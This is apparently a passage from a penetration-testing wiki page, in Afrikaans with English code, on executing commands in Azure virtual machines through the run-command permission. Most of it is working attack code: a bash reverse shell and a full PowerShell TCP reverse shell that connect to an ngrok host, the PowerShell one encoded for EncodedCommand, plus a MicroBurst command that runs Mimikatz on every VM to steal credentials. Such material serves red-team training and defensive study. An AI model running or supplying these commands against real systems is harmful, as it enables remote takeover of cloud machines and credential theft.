Dit is die mees basiese meganisme wat Azure bied om **arbitraire opdragte in VMs uit te voer**. Die nodige toestemming is `Microsoft.Compute/virtualMachines/runCommand/action`.

{{#tabs }}
{{#tab name="Linux" }}
```bash
# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh
```
{{#endtab }}

{{#tab name="Windows" }}
```bash
# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
# Execute a rev shell
az vm run-command invoke \
--resource-group Research \
--name juastavm \
--command-id RunPowerShellScript \
--scripts @revshell.ps1

## Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64

## Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
export encodedCommand=" "

# The content of
echo "powershell.exe -EncodedCommand $encodedCommand" > revshell.ps1


# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
```
{{#endtab }}
{{#endtabs }}

## Privilege Escalation

{{#ref}}
../../az-privilege-escalation/az-virtual-machines-and-network-privesc.md
{{#endref}}

## Unauthenticated Access

{{#ref}}
../../az-unauthenticated-enum-and-initial-entry/az-vms-unauth.md
{{#endref}}

## Post Exploitation

{{#ref}}
../../az-post-exploitation/az-vms-and-network-post-exploitation.md
{{#endref}}

## Persistence

{{#ref}}
../../az-persistence/az-vms-persistence.md
{{#endref}}

## References

- [https://learn.microsoft.com/en-us/azure/virtual-machines/overview](https://learn.microsoft.com/en-us/azure/virtual-machines/overview)
- [https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/](https://hausec.com/2022/05/04/azure-virtual-machine-execution-techniques/)
- [https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service](https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service)

{{#include ../../../../banners/hacktricks-training.md}}
